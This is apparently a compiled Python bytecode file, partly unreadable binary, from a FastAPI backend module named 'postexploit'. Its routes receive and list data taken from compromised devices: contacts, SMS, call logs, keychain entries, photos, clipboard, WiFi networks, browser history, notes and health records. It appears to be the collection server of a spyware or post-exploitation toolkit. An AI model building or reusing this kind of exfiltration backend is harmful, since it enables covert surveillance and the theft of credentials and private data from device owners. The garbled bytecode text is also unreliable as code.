+
    Dd>j8                        R t ^ RIHtHtHt ^ RIHt ^ RIHt ^ RI	H
t
 ^ RIt^ RIt]! RR.R7      t]P                  R	4      ]! ]
4      3R
 R ll4       t]P!                  R4      ^ ^d]! ]
4      3R R ll4       t]P                  R4      ]! ]
4      3R R ll4       t]P!                  R4      ^ ^d]! ]
4      3R R ll4       t]P                  R4      ]! ]
4      3R R ll4       t]P!                  R4      ^ ^d]! ]
4      3R R ll4       t]P                  R4      ]! ]
4      3R R ll4       t]P!                  R4      ^ ^d]! ]
4      3R R  ll4       t]P                  R!4      ]! ]
4      3R" R# ll4       t]P!                  R$4      ^ ^d]! ]
4      3R% R& ll4       t]P                  R'4      ]! ]
4      3R( R) ll4       t]P!                  R*4      ^ ^2]! ]
4      3R+ R, ll4       t]P                  R-4      ]! ]
4      3R. R/ ll4       t]P!                  R04      ^ ^d]! ]
4      3R1 R2 ll4       t]P                  R34      ]! ]
4      3R4 R5 ll4       t]P!                  R64      ^ ^d]! ]
4      3R7 R8 ll4       t]P                  R94      ]! ]
4      3R: R; ll4       t ]P!                  R<4      ^ ^d]! ]
4      3R= R> ll4       t!]P                  R?4      ]! ]
4      3R@ RA ll4       t"]P!                  RB4      ^ ^d]! ]
4      3RC RD ll4       t#]P                  RE4      ]! ]
4      3RF RG ll4       t$]P!                  RH4      ^ ^d]! ]
4      3RI RJ ll4       t%]P                  RK4      ]! ]
4      3RL RM ll4       t&]P!                  RN4      ^ ^d]! ]
4      3RO RP ll4       t']P                  RQ4      ]! ]
4      3RR RS ll4       t(]P!                  RT4      ^ ^d]! ]
4      3RU RV ll4       t)R# )Wu   后渗透数据 API 路由)	APIRouterDependsHTTPException)Session)List)get_dbNz/api/postexploitpostexploit)prefixtagsz	/contactsc                Z    V ^8  d   QhR\         \        P                  ,          R\        /# )   contactsdb)r   schemasContactDatar   )formats   "</Users/wind/Downloads/Coruna-main/backend/api/postexploit.py__annotate__r      s)     T Td7#6#67 TW T    c           	     J   . pV  Fm  p\         P                  ! WP                  4      pV'       g   \        RRVP                   R2R7      h\         P                  ! W4      pVP                  V4       Ko  	  RRR\        V4      RV Uu. uF  qfP                  NK  	  up/# u upi )	u   批量上传联系人数据  Device 
 not foundstatus_codedetailokTcountr   )crud
get_devicedevice_uuidr   create_contactappendlenid)r   r   resultscontactdeviceresultrs   &&     r   upload_contactsr*      s     G%8%89C''BUBUAVV`8abb$$R1v  $Wz';R'QDD';RSS;R   B z/contacts/{device_uuid}c                H    V ^8  d   QhR\         R\        R\        R\        /# r   r    skiplimitr   strintr   )r   s   "r   r   r       s(      c    r   c                6   \        RR.R7      P                  pVP                  V4      P                  VP                  V 8H  4      P                  VP                  P                  4       4      P                  V4      P                  V4      P                  4       pV# )u   获取设备联系人列表..modelsContactRecordfromlist)
__import__r5   queryfilterr    order_by
created_atdescoffsetr/   all)r    r.   r/   r   r5   r   s   &&&&  r   get_contactsr@      sy     z_4EFTTMxx&--!![0h}'',,./tUU5\##%  Or   z/smsc                Z    V ^8  d   QhR\         \        P                  ,          R\        /# )r   sms_listr   )r   r   SMSDatar   )r   s   "r   r   r   ,   s'     O Ogoo. OG Or   c           	     J   . pV  Fm  p\         P                  ! WP                  4      pV'       g   \        RRVP                   R2R7      h\         P                  ! W4      pVP                  V4       Ko  	  RRR\        V4      RV Uu. uF  qfP                  NK  	  up/# u upi )	u   批量上传短信数据r   r   r   r   r   Tr   sms)r   r   r    r   
create_smsr"   r#   r$   )rB   r   r%   rE   r'   r(   r)   s   &&     r   
upload_smsrG   +   s     G__5C'#//ARR\8]^^)v  $WuW6MWttW6MNN6Mr+   z/sms/{device_uuid}c                H    V ^8  d   QhR\         R\        R\        R\        /# r-   r0   )r   s   "r   r   r   <   s(       C C 7 r   c                6   \        RR.R7      P                  pVP                  V4      P                  VP                  V 8H  4      P                  VP                  P                  4       4      P                  V4      P                  V4      P                  4       pV# )u   获取设备短信列表r4   	SMSRecordr6   )r8   rJ   r9   r:   r    r;   	date_sentr=   r>   r/   r?   )r    r.   r/   r   rJ   rE   s   &&&&  r   get_smsrL   ;   sx     :>HHI
((9

$
$,hy""'')*66$<eSSU  Jr   z/callsc                Z    V ^8  d   QhR\         \        P                  ,          R\        /# )r   callsr   )r   r   CallDatar   )r   s   "r   r   r   H   )     Q QW--. QG Qr   c           	     J   . pV  Fm  p\         P                  ! WP                  4      pV'       g   \        RRVP                   R2R7      h\         P                  ! W4      pVP                  V4       Ko  	  RRR\        V4      RV Uu. uF  qfP                  NK  	  up/# u upi )	u   批量上传通话记录r   r   r   r   r   Tr   rN   )r   r   r    r   create_callr"   r#   r$   )rN   r   r%   callr'   r(   r)   s   &&     r   upload_callsrT   G        G%5%56C'$BRBRASS]8^__!!"+v  $Www8Ow!w8OPP8Or+   z/calls/{device_uuid}c                H    V ^8  d   QhR\         R\        R\        R\        /# r-   r0   )r   s   "r   r   r   X   (      3 c c W r   c                6   \        RR.R7      P                  pVP                  V4      P                  VP                  V 8H  4      P                  VP                  P                  4       4      P                  V4      P                  V4      P                  4       pV# )u   获取设备通话记录r4   
CallRecordr6   )r8   rY   r9   r:   r    r;   date_calledr=   r>   r/   r?   )r    r.   r/   r   rY   rN   s   &&&&  r   	get_callsr[   W   sx     J,@KKJHHZ ''+-hz%%**,-ffTl55< 
 Lr   z	/keychainc                Z    V ^8  d   QhR\         \        P                  ,          R\        /# )r   	keychainsr   )r   r   KeychainDatar   )r   s   "r   r   r   d   s)     U UtG$8$89 Uw Ur   c           	     J   . pV  Fm  p\         P                  ! WP                  4      pV'       g   \        RRVP                   R2R7      h\         P                  ! W4      pVP                  V4       Ko  	  RRR\        V4      RV Uu. uF  qfP                  NK  	  up/# u upi )	u   批量上传钥匙串数据r   r   r   r   r   Tr   r]   )r   r   r    r   create_keychainr"   r#   r$   )r]   r   r%   keychainr'   r(   r)   s   &&     r   upload_keychainrb   c   s     G%9%9:C'(BVBVAWWa8bcc%%b3v  $W{7<S7aTT7<STT<Sr+   z/keychain/{device_uuid}c                H    V ^8  d   QhR\         R\        R\        R\        /# r-   r0   )r   s   "r   r   r   t   (      s # #  r   c                6   \        RR.R7      P                  pVP                  V4      P                  VP                  V 8H  4      P                  VP                  P                  4       4      P                  V4      P                  V4      P                  4       pV# )u   获取设备钥匙串数据r4   KeychainRecordr6   )r8   rf   r9   r:   r    r;   r<   r=   r>   r/   r?   )r    r.   r/   r   rf   r]   s   &&&&  r   get_keychainsrg   s   s{      
6F5GHWWN(//""k1h~((--/0eeEl335  r   z/photosc                Z    V ^8  d   QhR\         \        P                  ,          R\        /# )r   photosr   )r   r   	PhotoDatar   )r   s   "r   r   r      s)     R R$w001 Rw Rr   c           	     J   . pV  Fm  p\         P                  ! WP                  4      pV'       g   \        RRVP                   R2R7      h\         P                  ! W4      pVP                  V4       Ko  	  RRR\        V4      RV Uu. uF  qfP                  NK  	  up/# u upi )	u   批量上传照片数据r   r   r   r   r   Tr   ri   )r   r   r    r   create_photor"   r#   r$   )ri   r   r%   photor'   r(   r)   s   &&     r   upload_photosrn      s     G%6%67C'%BSBSATT^8_``""2-v  $Wx9P1$$9PQQ9Pr+   z/photos/{device_uuid}c                H    V ^8  d   QhR\         R\        R\        R\        /# r-   r0   )r   s   "r   r   r      s(      C s s g r   c                6   \        RR.R7      P                  pVP                  V4      P                  VP                  V 8H  4      P                  VP                  P                  4       4      P                  V4      P                  V4      P                  4       pV# )u   获取设备照片列表r4   PhotoRecordr6   )r8   rq   r9   r:   r    r;   
date_takenr=   r>   r/   r?   )r    r.   r/   r   rq   ri   s   &&&&  r   
get_photosrs      sx     Z=/BNNKXXk"));.h{%%**,-ffTl55<  Mr   z
/clipboardc                D    V ^8  d   QhR\         P                  R\        /# )r   	clipboardr   )r   ClipboardDatar   )r   s   "r   r   r      s      / / 5 5 /7 /r   c                L   \         P                  ! WP                  4      pV'       g   \        RRR7      h\	        RR.R7      P
                  pV! R
/ V P                  4       B pVP                  V4       VP                  4        VP                  V4       RRR	VP                  /# )u   上传剪贴板内容r   zDevice not foundr   r4   ClipboardRecordr6   r   Tr$    )r   r   r    r   r8   rx   dictaddcommitrefreshr$   )ru   r   r'   rx   db_clipboards   &&   r   upload_clipboardr      s     __R!6!67F6FHH 7H6IJZZO"6Y^^%56LFF<IIKJJ|$loo..r   z/clipboard/{device_uuid}c                H    V ^8  d   QhR\         R\        R\        R\        /# r-   r0   )r   s   "r   r   r      s(      s # #  r   c                6   \        RR.R7      P                  pVP                  V4      P                  VP                  V 8H  4      P                  VP                  P                  4       4      P                  V4      P                  V4      P                  4       pV# )u   获取设备剪贴板历史r4   rx   r6   )r8   rx   r9   r:   r    r;   	timestampr=   r>   r/   r?   )r    r.   r/   r   rx   
clipboardss   &&&&  r   get_clipboardr      s{     !7H6IJZZO/*11##{2h((--/0eeEl335  r   z/appsc                Z    V ^8  d   QhR\         \        P                  ,          R\        /# )r   appsr   )r   r   AppDatar   )r   s   "r   r   r      s'     P Pd7??+ P Pr   c           	     J   . pV  Fm  p\         P                  ! WP                  4      pV'       g   \        RRVP                   R2R7      h\         P                  ! W4      pVP                  V4       Ko  	  RRR\        V4      RV Uu. uF  qfP                  NK  	  up/# u upi )	u   批量上传应用列表r   r   r   r   r   Tr   r   )r   r   r    r   
create_appr"   r#   r$   )r   r   r%   appr'   r(   r)   s   &&     r   upload_appsr      s     G__5C'#//ARR\8]^^)v  $Wvg7Ngg7NOO7Nr+   z/apps/{device_uuid}c                H    V ^8  d   QhR\         R\        R\        R\        /# r-   r0   )r   s   "r   r   r      s(      # S S G r   c                   \        RR.R7      P                  pVP                  V4      P                  VP                  V 8H  4      P                  VP                  4      P                  V4      P                  V4      P                  4       pV# )u   获取设备应用列表r4   	AppRecordr6   )
r8   r   r9   r:   r    r;   app_namer>   r/   r?   )r    r.   r/   r   r   r   s   &&&&  r   get_appsr      so     :>HHI88I%%,hy!!"66$<eSSU 	 Kr   z
/processesc                Z    V ^8  d   QhR\         \        P                  ,          R\        /# )r   	processesr   )r   r   ProcessDatar   )r   s   "r   r   r      s)     U UW%8%8 9 Uw Ur   c           	     J   . pV  Fm  p\         P                  ! WP                  4      pV'       g   \        RRVP                   R2R7      h\         P                  ! W4      pVP                  V4       Ko  	  RRR\        V4      RV Uu. uF  qfP                  NK  	  up/# u upi )	u   批量上传进程列表r   r   r   r   r   Tr   r   )r   r   r    r   create_processr"   r#   r$   )r   r   r%   processr'   r(   r)   s   &&     r   upload_processesr      s     G%8%89C''BUBUAVV`8abb$$R1v  $W{7<S7aTT7<STT<Sr+   z/processes/{device_uuid}c                H    V ^8  d   QhR\         R\        R\        R\        /# r-   r0   )r   s   "r   r   r      rd   r   c                6   \        RR.R7      P                  pVP                  V4      P                  VP                  V 8H  4      P                  VP                  P                  4       4      P                  V4      P                  V4      P                  4       pV# )u   获取设备进程列表r4   ProcessRecordr6   )r8   r   r9   r:   r    r;   r<   r=   r>   r/   r?   )r    r.   r/   r   r   r   s   &&&&  r   get_processesr      sz     z_4EFTTM'..!![0h}'',,./tUU5\##%  r   z/wific                Z    V ^8  d   QhR\         \        P                  ,          R\        /# )r   wifi_networksr   )r   r   WiFiDatar   )r   s   "r   r   r      s)     Y YW-=-=(> YG Yr   c           	     J   . pV  Fm  p\         P                  ! WP                  4      pV'       g   \        RRVP                   R2R7      h\         P                  ! W4      pVP                  V4       Ko  	  RRR\        V4      RV Uu. uF  qfP                  NK  	  up/# u upi )	u   批量上传WiFi网络数据r   r   r   r   r   Tr   r   )r   r   r    r   create_wifir"   r#   r$   )r   r   r%   wifir'   r(   r)   s   &&     r   upload_wifi_networksr      s     G%5%56C'$BRBRASS]8^__!!"+v  $Ww@Ww!w@WXX@Wr+   z/wifi/{device_uuid}c                H    V ^8  d   QhR\         R\        R\        R\        /# r-   r0   )r   s   "r   r   r     s(      3 c c W r   c                L   \        RR.R7      P                  pVP                  V4      P                  VP                  V 8H  4      P                  VP                  P                  4       VP                  4      P                  V4      P                  V4      P                  4       pV# )u   获取设备WiFi网络列表r4   
WiFiRecordr6   )r8   r   r9   r:   r    r;   is_savedr=   ssidr>   r/   r?   )r    r.   r/   r   r   r   s   &&&&  r   get_wifi_networksr      s     J,@KKJHHZ(//+-hz""''):??;FF4LuVYVYV[  r   z/browser_historyc                Z    V ^8  d   QhR\         \        P                  ,          R\        /# )r   history_listr   )r   r   BrowserHistoryDatar   )r   s   "r   r   r     s)     S Sg.H.H)I Sw Sr   c           	     J   . pV  Fm  p\         P                  ! WP                  4      pV'       g   \        RRVP                   R2R7      h\         P                  ! W4      pVP                  V4       Ko  	  RRR\        V4      RV Uu. uF  qfP                  NK  	  up/# u upi )	u   批量上传浏览器历史r   r   r   r   r   Tr   history)r   r   r    r   create_browser_historyr"   r#   r$   )r   r   r%   r   r'   r(   r)   s   &&     r   upload_browser_historyr     s     G%8%89C''BUBUAVV`8abb,,R9v   $Wy:QA44:QRR:Qr+   z/browser_history/{device_uuid}c                H    V ^8  d   QhR\         R\        R\        R\        /# r-   r0   )r   s   "r   r   r     s(      S   w r   c                6   \        RR.R7      P                  pVP                  V4      P                  VP                  V 8H  4      P                  VP                  P                  4       4      P                  V4      P                  V4      P                  4       pV# )u   获取设备浏览器历史r4   BrowserHistoryRecordr6   )r8   r   r9   r:   r    r;   last_visitedr=   r>   r/   r?   )r    r.   r/   r   r   r   s   &&&&  r   get_browser_historyr     s     &j<R;STiihh+,33((K7h#005578eeElSVSVSX  Nr   z	/calendarc                Z    V ^8  d   QhR\         \        P                  ,          R\        /# )r   eventsr   )r   r   CalendarEventDatar   )r   s   "r   r   r   )  s)     R R4(A(A#B R Rr   c           	     J   . pV  Fm  p\         P                  ! WP                  4      pV'       g   \        RRVP                   R2R7      h\         P                  ! W4      pVP                  V4       Ko  	  RRR\        V4      RV Uu. uF  qfP                  NK  	  up/# u upi )	u   批量上传日历事件r   r   r   r   r   Tr   r   )r   r   r    r   create_calendar_eventr"   r#   r$   )r   r   r%   eventr'   r(   r)   s   &&     r   upload_calendar_eventsr   (  s     G%6%67C'%BSBSATT^8_``++B6v  $Wx9P1$$9PQQ9Pr+   z/calendar/{device_uuid}c                H    V ^8  d   QhR\         R\        R\        R\        /# r-   r0   )r   s   "r   r   r   9  s(      S   w r   c                6   \        RR.R7      P                  pVP                  V4      P                  VP                  V 8H  4      P                  VP                  P                  4       4      P                  V4      P                  V4      P                  4       pV# )u   获取设备日历事件r4   CalendarEventr6   )r8   r   r9   r:   r    r;   
start_dater=   r>   r/   r?   )r    r.   r/   r   r   r   s   &&&&  r   get_calendar_eventsr   8  sy     z_4EFTTMXXm$++!![0h}'',,./tUU5\##%  Mr   z/notesc                Z    V ^8  d   QhR\         \        P                  ,          R\        /# )r   notesr   )r   r   NoteDatar   )r   s   "r   r   r   E  rP   r   c           	     J   . pV  Fm  p\         P                  ! WP                  4      pV'       g   \        RRVP                   R2R7      h\         P                  ! W4      pVP                  V4       Ko  	  RRR\        V4      RV Uu. uF  qfP                  NK  	  up/# u upi )	u   批量上传笔记r   r   r   r   r   Tr   r   )r   r   r    r   create_noter"   r#   r$   )r   r   r%   noter'   r(   r)   s   &&     r   upload_notesr   D  rU   r+   z/notes/{device_uuid}c                H    V ^8  d   QhR\         R\        R\        R\        /# r-   r0   )r   s   "r   r   r   U  rW   r   c                6   \        RR.R7      P                  pVP                  V4      P                  VP                  V 8H  4      P                  VP                  P                  4       4      P                  V4      P                  V4      P                  4       pV# )u   获取设备笔记r4   
NoteRecordr6   )r8   r   r9   r:   r    r;   modified_dater=   r>   r/   r?   )r    r.   r/   r   r   r   s   &&&&  r   	get_notesr   T  sx     J,@KKJHHZ ''+-hz'',,./tUU5\##% 
 Lr   z/healthc                Z    V ^8  d   QhR\         \        P                  ,          R\        /# )r   health_data_listr   )r   r   
HealthDatar   )r   s   "r   r   r   a  s)     W Wg.@.@)A Ww Wr   c           	     J   . pV  Fm  p\         P                  ! WP                  4      pV'       g   \        RRVP                   R2R7      h\         P                  ! W4      pVP                  V4       Ko  	  RRR\        V4      RV Uu. uF  qfP                  NK  	  up/# u upi )	u   批量上传健康数据r   r   r   r   r   Tr   health_data)r   r   r    r   create_health_datar"   r#   r$   )r   r   r%   r   r'   r(   r)   s   &&     r   upload_health_datar   `  s     G'%<%<=C'+BYBYAZZd8eff((9v ( $W}W>UWttW>UVV>Ur+   z/health/{device_uuid}c                H    V ^8  d   QhR\         R\        R\        R\        /# r-   r0   )r   s   "r   r   r   q  s(       C C 7 r   c                6   \        RR.R7      P                  pVP                  V4      P                  VP                  V 8H  4      P                  VP                  P                  4       4      P                  V4      P                  V4      P                  4       pV# )u   获取设备健康数据r4   HealthRecordr6   )r8   r   r9   r:   r    r;   r   r=   r>   r/   r?   )r    r.   r/   r   r   r   s   &&&&  r   get_health_datar   p  sz     jN3CDQQL((<(//  K/h|&&++-.vvd|EE%L  r   )*__doc__fastapir   r   r   sqlalchemy.ormr   typingr   databaser   r   r   routerpostr*   getr@   rG   rL   rT   r[   rb   rg   rn   rs   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r   ry   r   r   <module>r      sS     5 5 "   	,M?	C
 [GNv T T %&/0sRYZ`Ra  ' V>Efo O O  !*+#WU[_  " X>Efo Q Q "#,-CwW]  $ [IPQW U U %&01SZ[aSb  ' YAH R R #$-.SPWX^P_  % \ELV_ / /  &'01RYZ`Ra  ( W;B6? P P !"+,3gV\o  # \IPQW U U &'01SZ[aSb  ( WNUV\o Y Y !"45CW^_eWf  #  Y`agYh S !S ,-67cY`agYh  . [RYZ`Ra R R %&67cY`agYh  ' X>Efo Q Q "#,-CwW]  $ YQXY_Q` W W #$23#U\]cUd  %r   